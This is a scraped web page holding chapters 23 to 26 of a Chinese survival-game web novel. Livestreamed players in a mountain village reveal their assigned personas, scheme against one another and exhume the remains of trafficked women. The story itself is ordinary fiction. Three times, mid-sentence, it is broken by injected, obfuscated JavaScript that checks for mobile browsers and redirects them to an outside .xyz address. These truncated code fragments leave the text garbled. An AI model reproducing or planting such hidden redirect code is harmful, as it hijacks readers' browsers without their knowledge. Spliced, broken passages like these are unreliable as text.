“走吧，我们也去抬马大爷回303。”王堂然在肖平巍恳求的目光投过来之前，带着魏含虚也离开了房间。 见状，肖平巍脸上的恳求神色退去，阴沉着一张脸独自转身离开了房间。 看完了戏，柯清意也心满意足地转回202，抱上还在昏睡的秦晓樾回了203。 余小豆用仅剩的两床花被子，在床对面的地板上打了张地铺，三人按照之前睡床的顺序，并排躺在了上面。 柯清意手枕在后脑勺下，盯着天花板，开口跟旁边的余小豆搭话：“看你的样子，好像一点都不担心马大爷。” 余小豆没直接回她，而是想起了一件事：“你刚才一直盯着我若有所思，就是因为这？” 柯清意淡淡道：“嗯。” “哦......”余小豆语气低了下去，似乎有些失望，“我还以为你看我青春可爱，打算跟我发展段百合情呢。” 柯清意听出她话里的玩笑，说道：“你在岔开话题。” 余小豆一愣，轻笑了一声，语气却带上了几分认真：“是啊......不过我担不担心马大爷有什么用，有些人啊，该死就得死。更何况，夜还长，谁知道还会发生什么。” 说完，余小豆便翻了个身，背对着柯清意，明显是不想再多聊。 柯清意也闭上了眼睛。 是啊，夜还长。 倒计时还剩五个小时二十多分钟，谁也不知道剩下的倒计时里还会发生什么。 毕竟第二夜的任务除了拍摄视频，还要存活到倒计时结束。 这么想着，柯清意不知不觉就睡着了，睡得很沉。 乌山村的夜很静，一直到面板倒计时快归零，都没发生预想的危险。 203房间里黑乎乎的，只有三道细微浅碎的呼吸声此起彼伏。 忽然，一块散发着淡弱的亮光面板在柯清意胸口正上方亮了起来，像个沉寂多年的人，在黑夜中缓缓睁开了眼眸。 面板上【00：00：01】的倒计时蓦然停滞，随即整个屏幕泛起一片雪花般的闪烁，仿佛遭遇了突如其来的短路故障。 数秒之后，雪花屏骤然隐去，面板重归平静，倒计时归零，面板重新消失在黑夜中。 对于面板出现的短暂故障，柯清意毫不知情，反倒是被蹲了一夜的观众看到了。 本来寥寥无几的弹幕突然空了两秒，而后像见鬼一样嗷嗷地刷了起来—— 【？？？草草草，我刚才看见了什么？！有没有人告诉我，是不是我熬夜眼花看错了？？！】 【我也看见了，然后唰的一下起了一身的鸡皮疙瘩，默默把脚缩回了被子里。】 【面板不是只有任务和进度刷新，或者主播自己点才会出现吗？？难道小柯主播没睡着？？】 【睡不睡着已经不是重点了，重点是你们看见过闪雪！花！屏！的面板吗？！】 【你们还记得小柯主播考验提前醒来的事吗？我当时记了下时间，小柯主播大概提前八/九秒醒来。刚才面板闪雪花屏的这几秒，正好也是八/九秒，相当于补上了小柯主播提前醒来的那几秒，跟其他主播的倒计时一起归零。】 【SO，这是面板启动了bug自我修复？】 23. 山村爱情（二十三） 柯清意醒过来的时候，窗外的亮光已经把红色窗帘刺成了一个漏光的筛子，水龙头哗哗流水的声音正从隔壁厕所里传来。 “你醒啦……”旁边传来秦晓樾的声音，迷糊中带着一股子郁闷。 柯清意偏头，见秦晓樾坐在被子的边角上，正瞪着两只大眼睛盯着她，而旁边余小豆的位置是空的，应该是去厕所里洗漱了。 “谢谢你……”秦晓樾开口道谢，声音闷闷不乐，“昨晚把我弄晕。” 柯清意坐起身来：“你知道了？” 她没明说知道什么，但秦晓樾却明白她说的“知道”代指两件事。 “嗯，昨晚我感觉自己手背上落了一滴凉水，紧接着我就晕了。当时只有你站在我右边，只会是你弄晕我的。” “刚洗漱时，余小豆也跟我说过床上有……的事了。我知道你是怕我受不住，精神值掉到30以下，才弄晕我的，所以……谢谢你。” 秦晓樾说完，从面板中掏出了一堆物品。 有匕首，有毛巾，有胶水，有云某白药创可贴……零零散散堆在红花被子上。 看见创可贴的瞬间，柯清意想起了自己手指上的伤。 她垂眸将视线落在左手中指指尖上，原本包裹住伤口的创可贴时效已过，消失不见，指甲盖大小的撕裂伤愈合了大半，长出了一些新肉。 柯清意不由得讶然，这创可贴效果未免也太好了，得再买一个贴上。 “这些东西加起来一共20个金币。” 秦晓樾的声音拉回了柯清意的注意力：“我猜，你昨晚应该是用【一滴安眠水】弄晕我的，它值20个金币。我本来想买【安眠水】还你的，但它不能转赠，所以我用这些东西代替，可以吗？” 这些物品大多数都是直播间观众打赏给她的礼物，除了创可贴。 创可贴是她见柯清意手指上有伤，自己用金币买的。 她的想法很简单——柯清意弄晕她是为了她的精神值着想，还白白花了20个金币，她自然是要还的，但也不能还给人家一堆用不上的物品，所以花6金币买了三个创可贴。 柯清意没接那堆物品，认真地看了她好一会，才开口说话，语气不再是冷冰冰的：“借了才需要还，你没开口向我借，所以不用还。” 而且，她言语攻击秦晓樾获得20个奖励金币，弄晕秦晓樾花了20个金币，从某种程度上来说，两相抵消了，秦晓樾确实不用还她什么。 “可是……” 柯清意按住了秦晓樾想把物品再推回来的手：“真的不用还，收回去吧。” “我先去洗漱了。” 柯清意说完，从地铺上站起来，一边扒拉着面板买创可贴，一边朝厕所走去。 见柯清意态度冷淡地离开了房间，秦晓樾只得把物品都收回面板里，神色有些失落。 到了厕所，柯清意有些惊讶。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823892|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 因为余小豆正趴在水池边在洗头发，水池台上洗发露、毛巾、脸盆、牙刷牙膏一应俱全，让柯清意有种回到了现实的错觉。 许是柯清意眼神里的惊讶太露骨了，余小豆把冲洗干净的头发用毛巾包住，抬起头来对她说：“没办法，如果我能活着从副本里出去，就得去学校上课了，没时间洗头。” 柯清意：“……” 想了一会，她觉得余小豆说得很有道理，如果她活着从副本里出去了，也得去送外卖，没时间洗头。 ……可惜这个副本里没办法洗澡。 伴随着这种想法，柯清意很快洗漱完毕，把观众打赏的洗漱用品收回了饭碗里。 “啊啊啊——！” 刚准备离开厕所，楼上房间里忽然传来一阵惨叫声，柯清意脚步一顿，眉头紧紧皱了起来。 这个惨叫声，是马大爷的…… 她抬眼朝站在走廊里擦头发的余小豆看去：“你听见了吗？” “听见了啊。”余小豆动作不停，神色无常，继续说道，“是马大爷的惨叫声。” 柯清意没时间探究余小豆的怪异之处，加快脚步出了厕所。 二楼房间里的几位女生听见惨叫声，都站到了走廊里，面面相觑，都不理解为何昨晚看起来奄奄一息的马大爷，此刻会爆发出如此响亮的惨叫声。 “白天了，我们还能去三楼吗？”汉服女看着楼梯口的方向问道。 24. 山村爱情（二十四） “具体内容为：一是在人群中展现三次领导高光：已通过昨天白天分离报纸、晚上放送情报和烧寻人启事完成。” “二是跟一名异性的心动值达到50，已完成。” “目前进度100％。” 众人闻言暗暗惊讶，没想到王堂然的人设进度已经到100％了。 下一个是长裙女，她没说话，而是把手机上已经打好的字，转过来给众人看—— 姓名：杨雪依 人设：【高冷御姐】 具体内容：一是每天说的话加起来比所有人都少（暗线任务到达70％时统一结算） 二是与两名异性的心动值各达到50，现只完成一名 目前进度25％ 众人：“......” 这个恋综的人设就没一个正常的。 众人腹诽的同时，又不禁羡慕起她的人设来，只要管住嘴少说话就行了。 下一个是老方，他看了面板好几秒才开口道：“我叫方劳，大家叫我老方就行，人设是......【美味厨子】。” 众人：“......” 不止说的人羞耻，他们听的人也感到十分羞耻。 说完了最羞耻的部分，老方坦然多了，继续说道：“具体内容为：一是为所有人做三顿饭。目前只做了一顿，还差两顿，今天可以完成。” “二是跟一名异性的心动值达到50，已经完成。目前进度67％。” 马大爷接着老方说道：“我叫马柱康，年龄比你们大几十岁，你们叫我一声马大爷就成。” “我的人设是【问题男士】，具体内容为每天提问其他主播十个问题和异性心动值50。” “都已经完成了，进度100％。” 马大爷是继王堂然后，第二个进度到100％的人。 众人难免有些羡慕，尤其是柯清意。 接连听到四个难度不高的人设，她也明白过来了：不是这个副本的人设难，而是直播系统分给她的人设难。 柯清意忍不住开始反思，她自己是什么绝世非酋体质吗？ 竟然能在十几个人中抽到【恶毒女配】这种难度的人设...... 反思间，王堂然质问马大爷的声音响起：“你确定你的人设是【问题男士】？你没说谎？” “你什么意思？”马大爷脸色倏地沉了下去，“我说的当然是真话。” 闻言，王堂然又换了个问法：“你的人设从一开始就是【问题男士】吗？” 这次，马大爷沉默了好几秒，才开口道：“不是，我的人设一开始是【恶毒男配】，但今早起来人设就变成了【问题男士】。” “什么？！”壮汉愕然，“人设还能发生变化？” 王堂然皱了皱眉：“马大爷的人设不是发生了变化，而是......变换。那个神秘人的天赋不仅置换了马大爷和魏含虚的生命状态，还置换了他们俩的人设任务。” 这句话一出，空气中顿时接连响起一阵抽气声，不少人都惊讶得瞪大了眼睛，心中对神秘人的天赋更是多了几分忌惮。 柯清意关注的重点却更偏向于马大爷之前的人设，问他：“你之前【恶毒男配】人设的具体内容是什么？” “毒舌辣嘴，棒打鸳鸯，贪多贪足。”马大爷说了三个词，都跟柯清意人设的具体内容一一对上了。 柯清意忽然有种拨云见日的感觉，马大爷的这句话把之前她一直觉得很奇怪的一个点给解开了—— 昨夜乌云表现出来的攻击力明明没那么致命，对于魏含虚和马大爷两个老人来说，顺利到达二楼完成任务不算特别难的事。 但魏含虚还是故意设使诈，让马大爷成为了乌云的攻击对象，他的......或者说他和王堂然的最终目标不是让马大爷吸引乌云的注意力，而是要让马大爷去死。 因为马大爷的人设难度太高，无法完成，会成为阻碍他们离开副本的绊脚石。 所以，他们需要提前杀了他。 同时，柯清意也想到了另一个问题——他们既然知道马大爷的人设，说明他们很有可能也知道了她的人设。 只是，还没找到机会对她下手而已。 沉思几秒后，柯清意抬眼看向王堂然，目光中带着之前从未有过的防备，开始套他的话：“你为什么会知道马大爷的人设变换过？” “同问。” 余小豆也在一旁帮腔，似笑非笑地看着王堂然，问：“你为什么会知道马大爷的人设变换过，以及昨夜的那些情报？还有......你是不是还知道更多我们不知道的情报？” 此话一出，所有人的视线都集中到了王堂然身上，探究意味十足。 昨夜的事一茬接一茬，他们没时间讨论这个问题，不代表他们忘了或者不在意。 眼下柯清意和余小豆发问了，他们自然乐享其成，全都用探究又期待的眼神盯着王堂然，无形中给他施加压力。 “魏含虚之前跟我说过他的人设是【问题男士】，所以我才猜马大爷的人设被变换过。至于昨夜的情报......”王堂然笑了笑，“跟我的天赋有关，无可奉告。” 天赋是主播的隐私，其他人确实无权过度打探。 但王堂然的这句解释，明显否认了他早就知道马大爷高难度人设的事。 柯清意想了想，抬眼直勾勾盯着王堂然的瞳孔：“你昨晚情报的来源无外乎这两个渠道：要么是......其他人，要么是视频回放、卡牌占卜、梦中预测之类的。” 在说到“其他人”时，王堂然的瞳孔略有些收缩，答案不言而喻。 柯清意继续猜测：“我猜你的情报来源是其他人，同副本的主播不可能知道这些情报，那就只剩副本外的主播了，也就是......直播间的观众。” “你猜错了。”王堂然口不对眼，否认了她的猜测。 柯清意不受影响，继续诈他：“你是通过跟直播间观众连线，又或者是能看到观众的评论......哦，原来你的天赋是能看到观众的评论。” 众人：“......” 她这是瞎编出的答案，还是人肉测谎测出来的？ 王堂然的脸色扭曲了一下，正要开口，站在一旁的女白领却先一步说道：“我听人说起过这个天赋，大家都叫它【窥评】，天赋拥有者能随机抽取一条观众在某一时刻发出的评论，字数好像是在......60个字以内，不知道现在升级了没有？” 女白领没有把这个天赋硬扯到王堂然身上，只是简单描述了一下天赋的具体内容。 “还真有这种天赋？！”壮汉再一次被奇奇怪怪、但实用价值极高的天赋震惊到，“那岂不是能知道每一个副本的通关情报？” 女白领摇摇头：“听说也会有失手的情况，因为评论抽取是随机的，在某一时刻除了天赋拥有者提前安排好的发评人，还会有很多掺和捣蛋的观众，所以不是每次都能准确抽到有情报的那条评论。” “在评论区提前剧透副本后面的情报，不是会被罚款100金币吗？”马大爷疑惑道。 “是会被罚款。”女白领说，“但听说天赋拥有者和发评人都是同一个公会的，罚款什么的......应该会由公会补偿。” 马大爷哦了一声，随即看向王堂然，语气带着一股质问：“你既然是【窥评】天赋的拥有者，那你肯定知道更多的情报吧？” 王堂然：“......” 他什么时候承认过他是【窥评】天赋的拥有者了？ 但王堂然也明白，在他们几个人的一唱一和中，【窥评】天赋已经和他挂上了钩，死不承认也只是徒失他的风度。 深吸几口气后，王堂然大方承认道：“没错，我是能抽取到观众的评论，这个副本也成功抽取到了，但60个字能包含多少情报？我知道的你们几乎也全都知道了。” “几乎？”余小豆似笑非笑，步步紧逼，“那就说明还有我们不知道的，不如你把那60个字的情报念出来给大家听听，一起参考参考。” 王堂然的高光人设已经完成，剩下的情报藏着掖着也没什么用处了，便说：“剩下的情报是今夜的考验，但只有七八个字，我一时也猜不出具体的考验内容。这个不急，可以留到晚上再说，现在还是继续坦白各位的明线任务进度吧。” 说完，他的目光落到柯清意身上，她是马大爷的下一个顺位。 在王堂然不怀好意的目光中，柯清意冷声道：“柯清意，人设【恶毒女配】。” 马大爷听到和自己（之前）近乎相同的人设，怔愣了一下，而后诧异道：“你也是这个人设？！” 还没得到回答，他看向柯清意的目光中就带上了同情和怜悯，好像再说：哎，可惜了，死定了。 “......”柯清意默了默，看着面板上的人设内容，斟酌着说道：“具体内容为三方面：一是毒舌辣嘴，用语言攻击十三位主播，使其降低10点精神值。” “二是棒打鸳鸯：拆散一对心动值50以上的队友。” “三是贪多贪足，转换三名心动队友，由高转到富，再转到帅。” “目前已言语攻击过十一位主播，已跟最高异性达到50心动值，任务进度56％。” 众人：“............” 这一次众人沉默的时间比以往都要长，脸色各异，看样子都被柯清意的人设内容雷得不轻。 过了好久，余小豆才率先开口说话：“既然你人设里的第三点是转变高富帅队友，那相对应的，马大爷曾经人设的第三点就是转变白富美队友喽？” 众人：“......” 感觉又被雷到一次。 马大爷脸上的神色扭曲了一下，决定把话题拉回正轨：“我之前思考过，恶毒……什么配这个人设最难的点就在于言语攻击过十三位主播，几乎是不可能完成的。因为某些人还没来得及攻击，就先死了。” 摆脱了【恶毒男配】这个人设后的马大爷，就像粉转黑，毫不留情地揭开这个人设的难点。 他以一种高高在上的姿态质问柯清意：“你说你已经攻击过十一位主播了，你真的没说谎？你要知道，坦白局是不能说谎的。” “真话。我言语攻击过的十一位主播有——”柯清意依次念出名字和攻击的时间： “秦晓樾，第一晚刚集合的时候。” “李刚游，枯井那里。” “肖平巍、魏含虚、方劳、林瑚、梁雨秋、陈壮、杨雪依、余小豆、王堂然，昨夜用卡片机看那些被拐卖女孩灵魂的时候。” 顿了顿，柯清意补充道：“我昨夜用了【破防香】，放大了你们的恐惧，所以九个人都攻击成功。” 众人：“......” 怪不得他们昨夜的精神值那么容易往下掉，原来是被算计了。 一时之间，众人咬牙切齿的声音在空气中接连响起。 老方长叹一声，在心底抹了一把辛酸泪：“小柯，要是后面有需要我帮忙的地方，你可以直接跟我说，别再算计我了，我昨晚的精神值被吓得掉了快接近二十个数值。” “......抱歉。”柯清意诚心道歉。 老方摆摆手：“哎，也不算啥大事。” 站在一旁的肖平巍脸色已经阴沉得能滴水了，他昨夜在看见卡片机里的渗人画面时，精神值就像一颗断线的小球一样，从63直直往下降到了40才堪堪停住。 此刻知道自己是被柯清意算计了，心中的新仇旧恨掺杂在一起，恨意犹如山洪喷发，恨不得立马上手掐死她，但又不敢真动手，只能用语言给柯清意拉仇恨值。 “目前活着的人中，只有马大爷你还没攻击过。不过就算你攻击了马大爷，也还差一个，你注定完成不了这个人设，而我们所有人都会因为你，没法离开这个副本。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871696|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柯清意冷冷回应：“不劳你操心，我自有办法完成人设。” 肖平巍笃定了柯清意是在嘴硬，追着问：“什么办法？” “今晚你就知道了，还是说......”柯清意冷漠地看着肖平巍，“你打算现在就杀了我。” 肖平巍语塞，他确实是恨不得让柯清意立马去死，但绝不是在这样众目睽睽的场景下，自己动手杀了她。 他继续指出柯清意人设中不能完成的任务：“【贪多贪足】加起来一共需要150点心动值，就算按照每一夜心动值递增的规则，你也不可能在今夜获得100点心动值，最多40、或者50。” 怕柯清意又用“自有办法”的话术搪塞过去，肖平巍补充道：“如果你有办法，就早点拿出来让大家信服，不然大家只会觉得你是在强装有办法，拖延时间。” 柯清意冷眼看了肖平巍好一会儿，才嗤笑道：“【贪多贪足】需要的心动值不一定是150，也有可能是100，或者50。” 说到这，她扫视了一圈在场五位男性的容貌，说：“当然，这个副本里需要的是100点心动值。” “你什么意思？”肖平巍问。 “你太蠢了。” 柯清意用鄙夷嫌弃的目光上下扫了肖平巍一眼，解释道：“高、富、帅，这三个特征是可以同时出现在同一个人身上的。这个副本里最高的是老方，最帅的是......” 说到这，柯清意的语气带上了几分嫌弃，勉勉强强说出一个名字：“王堂然。” 王堂然：“......” 说他帅有那么勉强吗？ 柯清意：“所以我只需要把‘富’这个特征随便加到他们两个人谁身上，我就能用100点心动值完成【贪多贪足】人设，明白了吗？” 不止肖平巍明白了，其他大部分本来疑惑的人也明白了。 他们都陷入了一个思想误区，以为【贪多贪足】一定要转换三名异性队友，但实际上只需要按照异性拥有的特征来转换就可以了。 毕竟，高、富、帅这三个特征，真的有可能同时出现在同一个人身上。 “可是......”女白领有些疑惑，“‘富’这个特征是能随便加的吗？” 柯清意说：“‘富’这个特征得放在副本里来看，不是指现实时间的财产，而是指面板上金币和物品多少。” 女白领微微瞪大眼睛，对这个解释有些惊讶，却又挑不出毛病。 “小柯。”老方汗颜，“我面板上的金币和物品不是特别多......” 柯清意淡淡道：“没关系，集众人之力就多了。” 老方微一怔愣，他的本意是想让柯清意选择看上去更‘富’的王堂然作为“最富异性队友”，稳妥一点，但听柯清意的意思是想选他。 老方：“你的意思是让大家把面板上的物品集中到我这里......” 主播之间金币不能转移，但物品可以。 柯清意点头：“刚才不是说了吗，坦白局上需要什么帮助都可以提出来。” 众人：“......” 有十一个直播间的观众看着，他们自然不担心老方会私吞他们的物品，便各自在面板里挑了一堆大众普通的物品交给老方。 柯清意也把自己面板里所有的物品交给了老方，包括戴着镜头膜、价值200金币的卡片机。 老方收集了将近两百多个物品，柯清意的面板才跳出来刷新任务进度—— 【主播柯清意完成转换心动嘉宾：最高到最富】 【奖励金币20】 【明线任务进度：68％】 柯清意关掉面板说：“可以了。” “好。”老方开始按照记忆把众人的物品如数归还。 肖平巍把三把匕首收回面板饭碗里，说：“如果今夜考验的心动值是40，那你……” 柯清意懒得听他的威胁，用敷衍的话语打断他：“那出副本的计划就只能推到明夜了，毕竟完不成人设的人不止我一个。” “什么？”肖平巍皱眉，不明白柯清意又想耍什么语言把戏。 柯清意悲哀地看了他一眼后，不再搭理他，而是转眼看向杨雪依：“我记得你人设的第二点是跟两名异性心动值各达到50，要换一下队友吗？” 毕竟心动值从0到50这个过程，还是有一定风险的，其他人肯定不乐意。 最好的办法就是，他们两队之间互换。 杨雪依用询问的眼神看向王堂然，见到对方点头后，她才对柯清意点了点头，同意换队友。 四人把心动手环取下来，先是归还给了队友，接着才把心动手环交给了新队友。 重新戴上后，心动手环电子屏上的心动值归为了0。 其他人见状，沉默不语，各怀心思。 “按顺序，应该到我坦白了吧。”秦晓樾开口打破沉默，无形中缓解了紧张的氛围。 “我叫秦晓樾，人设是【恋爱脑】，具体内容为：跟异性队友在十米范围内相处48小时，目前还差十三个小时。” 她估摸了一下现在的时间，大概说了个范围：“到晚上的八九点应该就可以完成了。” 剩下的五人：余小豆、女白领梁雨秋、肖平巍、壮汉陈壮、汉服女林瑚也一一坦白了自己的人设，都是难度系数不算很高的奇怪人设。 前面四位的，在暗线任务到达70％之前都可以完成，而林瑚的已经完成了。 明线任务坦白局结束，老方时刻谨记自己的厨子人设，主动说道：“我去厨房简单给大家下点面条，当做早点。” 众人：“......” 知道了老方有【美味厨子】这层人设滤镜后，他们听到这话，脸色实在是一言难尽。 秦晓樾也跟着老方到厨房里帮忙去了，其他人在乌老头的房子里翻找起来，想找一些待会挖坟验尸能用的工具。 25. 山村爱情（二十五） 柯清意打开乌老头的房间门看了一眼，里面的场景跟昨天相比，几乎没发生变化。 乌老头的骨架依旧高高吊在挂钩上，而余霜和光头男人的尸体依旧躺在地板上，脸色僵白，只有一副面容，不是昨夜人皮里面塞着鬼怪的模样。 她关上房门，走到魏含虚的尸体旁蹲下，他手上的心动手环已经不见了，不知是落在了三楼，还是被谁给收起来了。 柯清意从面板中取出【复仇者之刃】，佯装查验在他尸体上轻轻划了一下。 面板没有刷新。 柯清意也不失望，收起【复仇者之刃】站起身来，往四周扫了一眼，看见王堂然和林瑚站在洗手间里面，用手机在交流着什么。 明显是在防备着她偷听。 而马大爷正贴在涂血木门上研究着什么，柯清意转身朝他走去，边在心中思忖。 按照前两夜的考验来看，今夜的考验也应该是跟各自的队友有关，但林瑚的队友魏含虚已经死了，相当于她还没开始今夜的考验，就已经失败了。 但看她刚才的模样，似乎并没有多焦急和害怕...... 马大爷余光瞥见柯清意朝自己走来，心头一跳，正想转身离开，就被快步上来的柯清意抓住肩头：“马大爷，去乌老头房间聊聊？” 马大爷：“......” 他咽了一口唾液，开始装傻充愣道：“有什么话不能在这里说吗？” 柯清意：“在这里说，效果不是很好。” 马大爷把求救的眼神投向其他人，无一例外收获了一批“冷眼旁观”，外加余小豆的拱火：“我手机里有一部离线的恐怖片，马大爷您需要吗？” 马大爷：呵呵，不需要！ “走吧，马大爷。” 柯清意抓住他的肩头，强硬地带着他往乌老头的房间走去，边说：“他们的精神值都掉了10个数值以上，怎么会允许你一个人例外。” 副本里组成的临时团队，人心的排异性远胜于现实。 一旦有某个人显得“与众不同”，就会立刻遭到其他人的排斥。 而且如果马大爷没被柯清意言语攻击降低10点精神值的话，那柯清意的人设就完成不了，其他人便会把马大爷当成跟柯清意一样的罪人——阻碍他们离开副本的罪人。 马大爷也清楚这点，半推半就地跟着柯清意进了乌老头的房间，站在三具尸体前面。 柯清意说：“一旦面板刷新，我立刻开门让你离开房间。” 闻言，马大爷丧着脸点了点头。 柯清意拿出之前没用完的【破防香】，掰断顶端的香杆，用打火机点燃了剩下的半截香。 几丝轻飘飘的半透明白烟缓缓向上升腾，十分浅淡的香烟味飘散开来，掺杂进房间的血腥味和尸味里。 等了将近八九分钟，【破防香】快燃到了尾巴的位置，柯清意的面板才刷新—— 【毒舌辣嘴：攻击对象马柱康，精神值-11】 【恭喜主播柯清意达成毒舌辣嘴（12\13）】 【奖励金币20】 【明线任务进度：72%】 “好了。” 柯清意松开香杆，用鞋尖碾灭了【破防香】，拉着马大爷出了房间。 其他人看见他们出来，问道：“成功了？” “嗯。”柯清意说。 —— 吃完面条后，手机上的时间已经快八点半了，众人不敢再耽误时间，扛着从乌老头房子里找到的三把锄头出了门。 乌老头房子旁边有一条进山的小路，看方向是通往坟地的。 众人便沿着小路进了山。 小路虽然狭窄，只够一个人行走，但比昨天柯清意几人走的山林好走多了，所以一行人只花了十几分钟就爬到了坟地。 柯清意凭借记忆把众人带到了无碑坟包前：“就是这七个，挖吧。” 扛着锄头的三个人是陈壮，肖平巍和梁雨秋。 其他人没有从乌老头家翻到锄头，但也不能干看着，便打开面板购物车准备花金币买锄头。 柯清意本想用意念点开购物车，但临时转去点开了饭碗，里面有103个观众打赏的礼物。 她粗粗扫视着这些礼物图标，果然在里面发现了一把银黑色的铁锄头。 看来，有些直播间观众确实是会根据主播的需求来打赏礼物。 取出铁锄头后，柯清意挑了个边缘的坟包开始挖，她这辈子还是第一次拿锄头挖地，更是第一次挖别人的坟，动作略显生疏。 “你左手握的位置不对。”秦晓樾拎着一把同款黑锄头走过来，说：“得再往下握一点才好发力。” 说完，她双手分别握住了手里锄头的两个位置，给柯清意做示范：“像这样握，挖起来会更省力一点。” 柯清意照着秦晓樾的动作，把左手往下移了二十多厘米，拿着锄头比划了两下，发现确实比之前轻松省力多了。 “你之前挖过地？”柯清意边挖边问道。 “嗯，小时候经常挖。”秦晓樾走到她斜对面，也开始挖起这个坟包来。 刚挖了一下，她的眉头就紧紧皱了起来，说：“这些坟包应该有些年头了，泥土被雨水冲刷凝结，变得很板硬，挖起来很费时间。” 柯清意也发现了，一锄头下去，根本带不起多少泥土来：“没办法，尽力挖吧，能挖多少算多少。” 确实如秦晓樾说的一样，挖这些坟包很费时间。 一行人花了整整一个上午才把埋在坟包下面的七具尸骨挖出来。 柯清意从购物车里买了七块白布，铺在泥巴上，接着把七具尸骨小心翼翼地移到白布上，蹲下身来一一仔细查验。 这七具尸骨皆轻小而光滑，颅骨相对较小，骨盆外形宽而短，耻骨弓的角度在90度到100之间。 柯清意站起身，给出一个结果：“七具尸骨都是女性。” 众人早有预料，对这个结果也不吃惊，只是有些惋惜和同情。 “怎么把她们的尸骨搬回乌老头家？”马大爷问。 “用白布裹起来抬回去吧。” 回马大爷话的是王堂然，他说：“我们四个年轻的男人，组成两组，每组抬两具尸骨。女人两两一组，各抬一具尸骨。” 他的安排很合理，其余十人都没什么异议，把七具尸骨都包裹起来后，两两一组抬着尸骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874113|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下了山。 回到乌老头家后，众人连午饭都没时间吃，放下尸骨又连忙按照昨天的分组去村里打探被拐卖女孩了。 此时正值午饭时间，待在家里的女人比昨天多了一些。 众人经过一番碰壁的询问和打探，又多确定了11张寻人启事。 加上之前已经确定的26张，目前大家能确定的寻人启事一共有37张，不确定的有27张。 王堂然看着桌上分成两沓的寻人启事，按了按太阳穴，疲惫地说：“老方先去煮面条吧，我们吃完午饭再讨论。” “嗯，好。”老方应声往厨房走去。 见满脸疲惫的秦晓樾想站起身进厨房帮老方忙，柯清意把她按回了椅子上，说：“你休息一会吧，我去帮老方。” 秦晓樾眨了眨眼睛：“……好。” 柯清意起身进了厨房，老方正弯腰在火炉旁边点火。 老方说：“小柯，你要累的话可以去休息，煮面条简单，我一个人也很快的。” “我不累。”柯清意拿起一旁黑框里焉巴巴的青菜放进水盆里摘洗起来。 老方在火炉旁转了个方向，凑近她压低声音问道：“小柯，你今晚真的有把握完成人设吗？” 柯清意知道老方的性格，问这话是真的替她担心，但人心变化莫测，有些事还是只适合自己知道的好，便敷衍地点了点头。 “哎。”老方替柯清意哀叹起来，“你的运气也太差了，偏偏抽到这么一个人设……” ...... 吃完午饭后，众人才重新讨论起寻人启事来。 “我看不如晚上把村里所有的女人都绑到乌老头家来，把寻人启事一张一张交给她们，总能试出哪些是被拐卖女孩。”陈壮提出了一个简单粗暴的办法。 “行不通。”王堂然摇摇头说，“乌山村里有一百二十多户人家，我们才十一个人，相当于每一个人要负责十多户人家，绑一户里的女人来乌老头家起码也要十多分钟......” 陈壮皱眉道：“两个小时能把所有被拐女孩带到乌老头家，也不是很浪费时间。” “浪不浪费时间是其次的。”王堂然说，“最主要的是乌山村里除被拐卖女孩外的所有人，包括那些妇女，都跟我们不是一个阵营的，要真把她们全绑到乌老头家来，说不定会引起反噬。” “这也不行，那也不行！”陈壮烦躁地抓了一把头发，说，“那你说怎么办？难道还要去打探一遍？” 王堂然说：“不用。” 梁雨秋皱眉问：“那还不确定的27张寻人启事怎么办？” 王堂然的声音过了好几秒才想起来：“今晚先把已经确定了的被拐卖女孩带到乌老头家里来，把寻人启事交给她们后，试试看能不能从她们口里打听出其他女孩被卖给了哪些人家。” “柯清意昨晚不是已经问过张丽康了吗？”陈壮说，“张丽康对这些事一无所知，你怎么就确定能从她们嘴里打听出信息来？” 王堂然说：“不确定。” 陈壮闻言，有些生气：“你要是猜错了怎么办？” 王堂然冷声道：“猜错了那就明天再试，还是说你有别的办法。” 26. 山村爱情（二十六） 长桌上的氛围一时间陷入了冰点...... “对了......”余小豆突然想起来某件事，开口打破沉默，盯着王堂然问道，“今夜爱情侦探的考验是什么？” 众人闻言，纷纷把期待的目光落到王堂然身上。 沉默片刻后，王堂然说出了评论里的六个字：“三夜出门救友。” “出门救友？” 余小豆低声重复了一遍，摸着下巴猜测道：“难道我们今夜的考验是在乌老头家外面进行？” 马大爷问：“你看见的那条评论里没说去哪救吗？” 王堂然猜测道：“应该是去村民家里。” “为什么？”马大爷问。 王堂然解释道：“因为在第二夜考验中，我们中有六个人被绑在了单人床上，状态就跟多年前那些被拐卖女孩一样。柯清意之前也说过，如果我们没通过第二夜考验，被绑住的人就会变得跟她们一样。你想想......绑住被拐卖女孩的下一步是什么？” 马大爷思考片刻后，恍然大悟道：“被卖给那些村民！所以今夜我们中会有六......五......额......个人被卖给村民，而其他人需要出门救各自的队友。” 王堂然点头：“我是这么猜测的。” 